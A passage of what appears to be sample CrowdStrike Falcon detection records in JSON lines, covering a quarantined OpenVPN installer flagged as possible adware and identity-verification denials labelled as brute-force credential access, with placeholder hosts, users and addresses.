4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} +{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"} +{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"} +{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} +{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"